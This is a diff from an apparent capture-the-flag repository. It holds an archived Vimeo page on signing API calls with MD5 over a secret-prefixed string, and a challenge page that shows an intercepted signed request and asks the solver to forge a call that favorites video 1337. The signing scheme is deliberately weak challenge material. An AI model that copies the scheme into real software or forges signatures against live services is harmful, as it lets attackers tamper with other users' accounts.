<div style="background-image:url(data:image/gif;base64,R0lGODlh1AMZAMQAAOfn3vX18f39/enp4P7+/u/v6fj49fPz7/f39Ojo3+rq4vLy7ezs5fv7+ujo4Pr6+P39/P7+/fz8+/Ly7vPz7urq4fv7+f///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAADUAxkAAAX/ICCOJKksyHOtbOu+cCzPdG3feK7vfO//wKBwSCwaj8ikcslsOp/QqHQqfSAWipJ2ux0cLNSweEwum8/otHrNbrvf8LjQchhw7yMHJSLv+/+AgYKDhIWGh4iJNBEUDnhbBRCKk5SVlpeYmZqbnJcQBY8kAZ2kpaanqKmqq6xwAaEJBq2ztLW2t7i5uoEGCXiyu8HCw8TFxse1BnejyM3Oz9DR0tNOr1oF1Nna29zd3rqgJAMC3+Xm5+jp6mwCdiPM6/Hy8/T19i/WABUE9/3+/wADCiNQQcQBgQgTKlzIENEBERIaSpxIsaJFJxIAMLjIsaPHjyBZMJgQsqTJkyjnQ01AkLKly5cwkSFoELOmzZs4SzUgl7Onz59A+wjgF7So0aNInRBNyrSp06dQo0qdSrWq1atYs2rdyrWr169gw4p9EgIAOw==);background-color: rgb(255, 255, 255); width:980px;font-size:11px;background-position: 0% 0%; background-repeat: no-repeat; margin: 0px; padding: 0px; ">
|
||||
<div style="position:relative;margin: 0px 0px 2em; padding: 0px 20px; ">
|
||||
<h1 style="font-family:arial, sans-serif;color:rgb(62, 62, 62);font:normal normal normal 36px/normal arial, sans-serif;font-weight:bold;line-height:36px;margin: 0px; padding: 20px 20px 0px 0px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Developers</a>
|
||||
/ <a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api/docs/advanced-api" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Advanced API</a>
|
||||
/ Signing API Calls</h1>
|
||||
</div>
|
||||
<div style="width:940px;margin: 0px; padding: 0px 20px; ">
|
||||
<div style="float:left;color:rgb(62, 62, 62);font-size:11px;width:620px;margin: 0px 10px 0px 0px; padding: 0px; ">
|
||||
<div style="font:normal normal normal 11px/16px verdana, sans-serif;margin: 0px 0px 15px; padding: 0px; ">Signing method calls is the same for desktop and web based programs. This means on top of the parameters you request, you need to pass your
|
||||
<code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">api_key</code>
|
||||
<span style="color:rgb(150, 150, 150);margin: 0px; padding: 0px; ">(not your secret)</span>
|
||||
and the <code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">api_sig</code>
|
||||
based on those parameters.</div>
|
||||
<div style="font:normal normal normal 11px/16px verdana, sans-serif;margin: 0px 0px 15px; padding: 0px; ">Let's assume that our API key is
|
||||
<code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">df3f791718032a70119d35d65d8b6d0d</code>, our shared secret is
|
||||
<code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">sec12345</code>.</div>
|
||||
<div style="font:normal normal normal 11px/16px verdana, sans-serif;margin: 0px 0px 15px; padding: 0px; ">Generating a signature is easy and can be done in any programming language. To make our signature, we take a string of the arguments being passed, and prepend our shared secret.</div>
|
||||
<div style="font:normal normal normal 11px/16px verdana, sans-serif;margin: 0px 0px 15px; padding: 0px; ">For this example, we'll make a call to
|
||||
<code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">vimeo.videos.comments.getList()</code>. Our parameters are the following:</div>
|
||||
<blockquote style="color:rgb(94, 94, 94);background-color: rgb(253, 253, 253); border-width: 1px; border-style: dotted; margin: 10px 0px; padding: 10px 20px; border-color: rgb(214, 214, 214); ">
|
||||
<div style="color:rgb(62, 62, 62);font-weight:bold;float:left;text-align:right;margin: 0px 10px 0px 0px; padding: 0px; ">
|
||||
method<br style="margin: 0px; padding: 0px; "/>
|
||||
video_id<br style="margin: 0px; padding: 0px; "/>
|
||||
api_key </div>
|
||||
<div style="float:left;margin: 0px; padding: 0px; ">
|
||||
<code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">vimeo.videos.comments.getList</code><br style="margin: 0px; padding: 0px; "/>
|
||||
<code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">375747</code><br style="margin: 0px; padding: 0px; "/>
|
||||
<code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">df3f791718032a70119d35d65d8b6d0d</code>
|
||||
<span style="color:rgb(150, 150, 150);margin: 0px; padding: 0px; ">(this is required in every method call)</span>
|
||||
</div>
|
||||
<div style="display:block;clear:both;visibility:hidden;margin: 0px; padding: 0px; "></div>
|
||||
</blockquote>
|
||||
<div style="font:normal normal normal 11px/16px verdana, sans-serif;margin: 0px 0px 15px; padding: 0px; ">Now we'll generate the base of our signature by creating a string of our parameter name/value pairs in alphabetical order. Do not escape any characters when generating this string, all characters should be unescaped.</div>
|
||||
<blockquote style="color:rgb(94, 94, 94);background-color: rgb(253, 253, 253); border-width: 1px; border-style: dotted; margin: 10px 0px; padding: 10px 20px; border-color: rgb(214, 214, 214); "><code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">
|
||||
<strong style="margin: 0px; padding: 0px; ">api_key</strong>df3f791718032a70119d35d65d8b6d0d<strong style="margin: 0px; padding: 0px; ">method</strong>vimeo.videos.comments.getList<strong style="margin: 0px; padding: 0px; ">video_id</strong>375747
|
||||
</code></blockquote>
|
||||
<div style="font:normal normal normal 11px/16px verdana, sans-serif;margin: 0px 0px 15px; padding: 0px; ">Next, we prepend that string with our shared secret
|
||||
<span style="color:rgb(150, 150, 150);margin: 0px; padding: 0px; ">(green)</span>.</div>
|
||||
<blockquote style="color:rgb(94, 94, 94);background-color: rgb(253, 253, 253); border-width: 1px; border-style: dotted; margin: 10px 0px; padding: 10px 20px; border-color: rgb(214, 214, 214); "><code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">
|
||||
<span style="color:green;margin: 0px; padding: 0px; ">sec12345</span><strong style="margin: 0px; padding: 0px; ">api_key</strong>df3f791718032a70119d35d65d8b6d0d<strong style="margin: 0px; padding: 0px; ">method</strong>vimeo.videos.comments.getList<strong style="margin: 0px; padding: 0px; ">video_id</strong>375747
|
||||
</code></blockquote>
|
||||
<div style="font:normal normal normal 11px/16px verdana, sans-serif;margin: 0px 0px 15px; padding: 0px; ">Now we'll take the MD5 hash of the signature and add it to our parameters.</div>
|
||||
<blockquote style="color:rgb(94, 94, 94);background-color: rgb(253, 253, 253); border-width: 1px; border-style: dotted; margin: 10px 0px; padding: 10px 20px; border-color: rgb(214, 214, 214); "><code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">
|
||||
c5370e4b0c550494ba49d86893a0384f </code></blockquote>
|
||||
<div style="font:normal normal normal 11px/16px verdana, sans-serif;margin: 0px 0px 15px; padding: 0px; ">So the final set of parameters passed to the API will be:</div>
|
||||
<blockquote style="color:rgb(94, 94, 94);background-color: rgb(253, 253, 253); border-width: 1px; border-style: dotted; margin: 10px 0px; padding: 10px 20px; border-color: rgb(214, 214, 214); ">
|
||||
<div style="color:rgb(62, 62, 62);font-weight:bold;float:left;text-align:right;margin: 0px 10px 0px 0px; padding: 0px; ">
|
||||
method<br style="margin: 0px; padding: 0px; "/>
|
||||
video_id<br style="margin: 0px; padding: 0px; "/>
|
||||
api_key<br style="margin: 0px; padding: 0px; "/>
|
||||
api_sig </div>
|
||||
<div style="float:left;margin: 0px; padding: 0px; ">
|
||||
<code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">vimeo.videos.comments.getList</code><br style="margin: 0px; padding: 0px; "/>
|
||||
<code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">375747</code><br style="margin: 0px; padding: 0px; "/>
|
||||
<code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">df3f791718032a70119d35d65d8b6d0d</code><br style="margin: 0px; padding: 0px; "/>
|
||||
<code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">c5370e4b0c550494ba49d86893a0384f</code>
|
||||
</div>
|
||||
<div style="display:block;clear:both;visibility:hidden;margin: 0px; padding: 0px; "></div>
|
||||
</blockquote>
|
||||
<div style="font:normal normal normal 11px/16px verdana, sans-serif;margin: 0px 0px 15px; padding: 0px; ">That's all there is to it! Pretty easy, huh?</div>
|
||||
</div>
|
||||
<div style="float:left;color:rgb(62, 62, 62);font-size:11px;width:300px;margin: 0px 0px 0px 10px; padding: 0px; ">
|
||||
<div style="position:relative;margin: 0px; padding: 0px; ">
|
||||
<div style="height:25px;background-color: rgb(78, 186, 255); margin: 0px; padding: 0px; ">
|
||||
<h4 style="position:absolute;top:7px;left:8px;line-height:11px;font-size:11px;color:rgb(255, 255, 255);margin: 0px; padding: 0px; ">Vimeo API</h4>
|
||||
</div>
|
||||
<img src="data:image/gif;base64,R0lGODlhCQAFAIAAABorPE66/yH5BAEAAAAALAAAAAAJAAUAAAIKjH+ACYoNGWxhFgA7" style="height:5px;width:9px;position:absolute;left:18px;z-index:2;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<ul style="list-style-type:none;margin: 10px 0px 20px; padding: 0px; ">
|
||||
<li style="list-style-type:none;font:normal normal bold 12px/14px arial, sans-serif;margin: 10px 0px; padding: 0px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">API Home</a>
|
||||
</li>
|
||||
<li style="list-style-type:none;font:normal normal bold 12px/14px arial, sans-serif;margin: 10px 0px; padding: 0px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api/docs/simple-api" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Simple API Documentation</a>
|
||||
</li>
|
||||
<li style="list-style-type:none;font:normal normal bold 12px/14px arial, sans-serif;margin: 10px 0px; padding: 0px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api/docs/oembed" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">oEmbed Documentation</a>
|
||||
</li>
|
||||
<li style="list-style-type:none;font:normal normal bold 12px/14px arial, sans-serif;margin: 10px 0px; padding: 0px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api/docs/moogaloop" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Moogaloop Documentation</a>
|
||||
</li>
|
||||
<li style="list-style-type:none;font:normal normal bold 12px/14px arial, sans-serif;margin: 0px 0px 5px; padding: 0px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api/docs/advanced-api" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Advanced API Documentation</a>
|
||||
<ul style="list-style-type:none;margin: 10px 0px 20px; padding: 0px; ">
|
||||
<li style="list-style-type:none;font:normal normal normal 11px/14px verdana, sans-serif;margin: 0px 0px 5px 15px; padding: 0px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api/docs/web-auth" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Web-based authentication</a>
|
||||
</li>
|
||||
<li style="list-style-type:none;font:normal normal normal 11px/14px verdana, sans-serif;margin: 0px 0px 5px 15px; padding: 0px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api/docs/desktop-auth" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Desktop-based authentication</a>
|
||||
</li>
|
||||
<li style="list-style-type:none;font:normal normal normal 11px/14px verdana, sans-serif;margin: 0px 0px 5px 15px; padding: 0px; ">
|
||||
<strong style="margin: 0px; padding: 0px; ">Signing API calls</strong>
|
||||
← </li>
|
||||
<li style="list-style-type:none;font:normal normal normal 11px/14px verdana, sans-serif;margin: 0px 0px 5px 15px; padding: 0px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api/docs/response-formats" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Response formats</a>
|
||||
</li>
|
||||
<li style="list-style-type:none;font:normal normal normal 11px/14px verdana, sans-serif;margin: 0px 0px 5px 15px; padding: 0px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api/docs/upload" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Upload API</a>
|
||||
</li>
|
||||
<li style="list-style-type:none;font:normal normal normal 11px/14px verdana, sans-serif;margin: 0px 0px 5px 15px; padding: 0px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api-docs/advanced-api-docs.html" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Full method list</a></li>
|
||||
<li style="list-style-type:none;font:normal normal normal 11px/14px verdana, sans-serif;margin: 0px 0px 5px 15px; padding: 0px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api/sandbox" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Sandbox</a>
|
||||
</li>
|
||||
</ul>
|
||||
</li>
|
||||
<li style="list-style-type:none;font:normal normal bold 12px/14px arial, sans-serif;margin: 10px 0px; padding: 0px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api/developer/user1389599" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Manage your Developer API Keys</a>
|
||||
</li>
|
||||
<li style="list-style-type:none;font:normal normal bold 12px/14px arial, sans-serif;margin: 10px 0px; padding: 0px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/forum:API" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">API Forum</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
<div style="position:relative;margin: 0px; padding: 0px; ">
|
||||
<div style="height:25px;background-color: rgb(109, 206, 238); margin: 0px; padding: 0px; ">
|
||||
<h4 style="position:absolute;top:7px;left:8px;line-height:11px;font-size:11px;color:rgb(255, 255, 255);margin: 0px; padding: 0px; ">
|
||||
Vimeo developer highlights </h4>
|
||||
</div>
|
||||
<img src="data:image/gif;base64,R0lGODlhCQAFAIAAABorPG3O7iH5BAEAAAAALAAAAAAJAAUAAAIKjH+ACYoNGWxhFgA7" style="height:5px;width:9px;position:absolute;left:18px;z-index:2;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
</div>
|
||||
<div style="margin: 0px 0px 20px; padding: 0px; ">
|
||||
<div class="object" style="background-color: rgba(224, 224, 224, 0.5); display:inline-block;width:300px;height:225px;border-width: 0; margin: 0px; padding: 0px; ">
|
||||
|
||||
|
||||
|
||||
</div>
|
||||
<div style="color:rgb(150, 150, 150);font-size:10px;text-align:right;margin: 2px 0px 0px; padding: 0px; ">
|
||||
Powered by Vimeo <a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/widget" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Hubnut</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div style="display:block;clear:both;visibility:hidden;margin: 0px; padding: 0px; "></div>
|
||||
<div style="margin: 0px; padding: 0px; ">
|
||||
<ul style="list-style-type:none;margin: 0px; padding: 20px 20px 0px; ">
|
||||
<li style="list-style-type:none;background-color: rgb(246, 246, 234); font-size:11px;color:rgb(164, 164, 164);line-height:23px;height:23px;margin: 0px 0px 1px; padding: 0px 10px; ">
|
||||
<span style="color:rgb(62, 62, 62);font-weight:bold;margin: 0px; padding: 0px; ">Vimeo:</span> <a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/about" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">About</a>
|
||||
/ <a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/blog" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Blog</a>
|
||||
/ <a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/roadmap" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Roadmap</a>
|
||||
/ <a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Developers</a>
|
||||
/ <a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/guidelines" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Community Guidelines</a>
|
||||
/ <a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/forums" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Forums</a>
|
||||
/ <a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/toys" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Toys</a>
|
||||
/ <a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/help" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Help!</a>
|
||||
/ <a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/site_map" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Site Map</a>
|
||||
/ <a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/plus" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Get Vimeo Plus</a>
|
||||
</li>
|
||||
<li style="list-style-type:none;background-color: rgb(246, 246, 234); font-size:11px;color:rgb(164, 164, 164);line-height:23px;height:23px;margin: 0px 0px 1px; padding: 0px 10px; ">
|
||||
<span style="color:rgb(62, 62, 62);font-weight:bold;margin: 0px; padding: 0px; ">Legal:</span> <span style="color:rgb(150, 150, 150);margin: 0px; padding: 0px; ">©2009 Vimeo, LLC</span>
|
||||
/ <a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/terms" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Terms & Conditions</a>
|
||||
/ <a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/privacy" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Privacy Statement</a>
|
||||
</li>
|
||||
</ul>
|
||||
<div style="margin: 0px; padding: 1px 20px 20px; ">
|
||||
<div style="background-color: rgb(246, 246, 234); margin: 0px; padding: 0px; ">
|
||||
<div style="position:relative;float:left;width:728px;margin: 10px; padding: 0px; ">
|
||||
<div style="margin: 0px; padding: 0px; ">
|
||||
<div style="position:relative;float:left;width:728px;height:90px;margin: 10px; padding: 0px; "></div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<div style="float:right;width:155px;color:rgb(150, 150, 150);margin: 10px; padding: 40px 0px 0px; ">
|
||||
Don't want to see ads?<br style="margin: 0px; padding: 0px; "/>
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/plus" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Get
|
||||
<strong style="margin: 0px; padding: 0px; ">Vimeo
|
||||
<img alt="plus" src="data:image/gif;base64,R0lGODlhGAAMAJEAAE66/////wAAAAAAACH5BAEHAAIALAAAAAAYAAwAAAIqFI6pC8YPo1ShnoAw0FUnvmVX+IAeSC7dyJ6Ml6Ls91kbZ0/6Ljm8IigAADs=" style="border-width: 0px; border-style: none; margin: 0px 0px -2px; padding: 0px; border-color: white; "/></strong></a>
|
||||
</div>
|
||||
<div style="display:block;clear:both;visibility:hidden;margin: 0px; padding: 0px; "></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
<div style="text-align:left;display:none;margin: 0px; padding: 0px; ">
|
||||
|
||||
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
<div style="text-align:left;position:absolute;top:-10000px;left:-10000px;width:0px;height:0px;margin: 0px; padding: 0px; "></div>
|
||||
|
||||
|
||||
</div></div></div></body></html>
|
|
@ -0,0 +1,48 @@
|
|||
Welcome!<br>
|
||||
|
||||
<h1>Docs</h1>
|
||||
|
||||
Make your requests as POST to <code>/api</code> in JSON format.<br>
|
||||
|
||||
<a href="{{ url_for('static', filename='xte1C/index.html') }}">Here</a> is the documentation on how to sign requests.<br>
|
||||
|
||||
<h1>Intercepted request</h1>
|
||||
|
||||
Here is an example API call by user {{ user_id }}:<br>
|
||||
|
||||
<blockquote style="color:rgb(94, 94, 94);background-color: rgb(253, 253, 253); border-width: 1px; border-style: dotted; margin: 10px 0px; padding: 10px 20px; border-color: rgb(214, 214, 214); font: normal normal normal 11px verdana, sans-serif;">
|
||||
<div style="color:rgb(62, 62, 62);font-weight:bold;float:left;text-align:right;margin: 0px 10px 0px 0px; padding: 0px; ">
|
||||
method<br style="margin: 0px; padding: 0px; ">
|
||||
api_key<br style="margin: 0px; padding: 0px; ">
|
||||
api_sig </div>
|
||||
<div style="float:left;margin: 0px; padding: 0px; ">
|
||||
<code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">vimeo.test.login</code><br style="margin: 0px; padding: 0px; ">
|
||||
<code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">{{ api_key }}</code><br style="margin: 0px; padding: 0px; ">
|
||||
<code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">{{ api_sig }}</code>
|
||||
</div>
|
||||
<div style="display:block;clear:both;visibility:hidden;margin: 0px; padding: 0px; "></div>
|
||||
</blockquote>
|
||||
|
||||
<pre style="font-family:courier, monospace;display:block;font:normal normal normal 11px/14px monaco, courier, mono-space;background-color: rgb(253, 253, 253); border-width: 1px; border-style: dotted; margin: 10px 0px; padding: 10px 20px; border-color: rgb(214, 214, 214); "><span style="color:rgb(0, 0, 136);margin: 0px; padding: 0px; "><?</span><span style="margin: 0px; padding: 0px; "><span style="color:rgb(0, 0, 0);margin: 0px; padding: 0px; ">xml version</span><span style="color:rgb(102, 102, 0);margin: 0px; padding: 0px; ">=</span><span style="color:rgb(0, 136, 0);margin: 0px; padding: 0px; ">"1.0"</span><span style="color:rgb(0, 0, 0);margin: 0px; padding: 0px; "> encoding</span><span style="color:rgb(102, 102, 0);margin: 0px; padding: 0px; ">=</span><span style="color:rgb(0, 136, 0);margin: 0px; padding: 0px; ">"UTF-8"</span></span><span style="color:rgb(0, 0, 136);margin: 0px; padding: 0px; ">?></span><span style="color:rgb(0, 0, 0);margin: 0px; padding: 0px; "><br style="margin: 0px; padding: 0px; "></span><span style="color:rgb(0, 0, 136);margin: 0px; padding: 0px; "><rsp </span><span style="color:rgb(102, 0, 102);margin: 0px; padding: 0px; ">stat</span><span style="color:rgb(0, 0, 136);margin: 0px; padding: 0px; ">=</span><span style="color:rgb(0, 136, 0);margin: 0px; padding: 0px; ">"ok"</span><span style="color:rgb(0, 0, 136);margin: 0px; padding: 0px; ">></span><span style="color:rgb(0, 0, 0);margin: 0px; padding: 0px; "><br style="margin: 0px; padding: 0px; "> </span><span style="color:rgb(0, 0, 136);margin: 0px; padding: 0px; "><user </span><span style="color:rgb(102, 0, 102);margin: 0px; padding: 0px; ">id</span><span style="color:rgb(0, 0, 136);margin: 0px; padding: 0px; ">=</span><span style="color:rgb(0, 136, 0);margin: 0px; padding: 0px; ">"{{ user_id }}"</span><span style="color:rgb(0, 0, 136);margin: 0px; padding: 0px; ">></span><span style="color:rgb(0, 0, 0);margin: 0px; padding: 0px; "><br style="margin: 0px; padding: 0px; "> </span><span style="color:rgb(0, 0, 136);margin: 0px; padding: 0px; "><username></span><span style="color:rgb(0, 0, 0);margin: 0px; padding: 0px; ">{{ user_name }}</span><span style="color:rgb(0, 0, 136);margin: 0px; padding: 0px; "></username></span><span style="color:rgb(0, 0, 0);margin: 0px; padding: 0px; "><br style="margin: 0px; padding: 0px; "> </span><span style="color:rgb(0, 0, 136);margin: 0px; padding: 0px; "></user></span><span style="color:rgb(0, 0, 0);margin: 0px; padding: 0px; "><br style="margin: 0px; padding: 0px; "></span><span style="color:rgb(0, 0, 136);margin: 0px; padding: 0px; "></rsp></span></pre>
|
||||
|
||||
<h1>Target</h1>
|
||||
|
||||
Try to get him to favorite the video number 1337!<br>
|
||||
|
||||
<h1>Available APIs</h1>
|
||||
|
||||
<h2 style="text-align:left;">vimeo.test.login</h2>
|
||||
<div style="text-align:left;padding-left:20px;"><div style="text-align:left;padding-left:20px;">Is the user logged in?</div><h3 style="text-align:left;">Returns</h3><div style="text-align:left;"><pre style="text-align:left;border-left-color:rgb(204, 204, 204);background-color: rgb(243, 243, 243); border-width: medium medium medium 2px; border-style: none none none solid; padding: 10px 10px 10px 20px; "><user id="151542">
|
||||
<username>ted</username>
|
||||
</user></pre></div></div>
|
||||
|
||||
<h2 style="text-align:left;">vimeo.videos.setFavorite</h2>
|
||||
<div style="text-align:left;padding-left:20px;"><div style="text-align:left;padding-left:20px;">Set a video as a favorite.</div><h3 style="text-align:left;">Parameters</h3><ul style="text-align:left;">
|
||||
<li style="text-align:left;"><span style="text-align:left;font-style:italic;color:rgb(139, 0, 0);">int</span>
|
||||
<span style="text-align:left;font-weight:bold;">video_id</span>
|
||||
<em style="text-align:left;">(required)</em>
|
||||
- Mark this video as a favorite.</li><li style="text-align:left;"><span style="text-align:left;font-style:italic;color:rgb(139, 0, 0);">boolean</span>
|
||||
<span style="text-align:left;font-weight:bold;">favorite</span>
|
||||
<em style="text-align:left;">(required)</em>
|
||||
- If this is "1", "true" or "yes," we'll set this as a favorite. Otherwise use "0", "false", "no."</li></ul><h3 style="text-align:left;">Returns</h3><div style="text-align:left;">This method returns an empty success response.<pre style="text-align:left;border-left-color:rgb(204, 204, 204);background-color: rgb(243, 243, 243); border-width: medium medium medium 2px; border-style: none none none solid; padding: 10px 10px 10px 20px; "><rsp stat="ok"></rsp></pre>
|
||||
</div></div>
|
|
@ -0,0 +1,2 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<rsp stat="ok"></rsp>
|
|
@ -0,0 +1,6 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<rsp stat="ok">
|
||||
<user id="{{ user_id }}">
|
||||
<username>{{ user_name }}</username>
|
||||
</user>
|
||||
</rsp>
|
3
Cryptography/README.md
Normal file
3
Cryptography/README.md
Normal file
|
@ -0,0 +1,3 @@
|
|||
# TOOLS:
|
||||
|
||||
- https://www.cryptool.org/en/cryptool1-en
|
31
Cryptography/RotationCiphers/Ariel_Sylvia_Plath.txt
Normal file
31
Cryptography/RotationCiphers/Ariel_Sylvia_Plath.txt
Normal file
|
@ -0,0 +1,31 @@
|
|||
Stasis in darkness.
|
||||
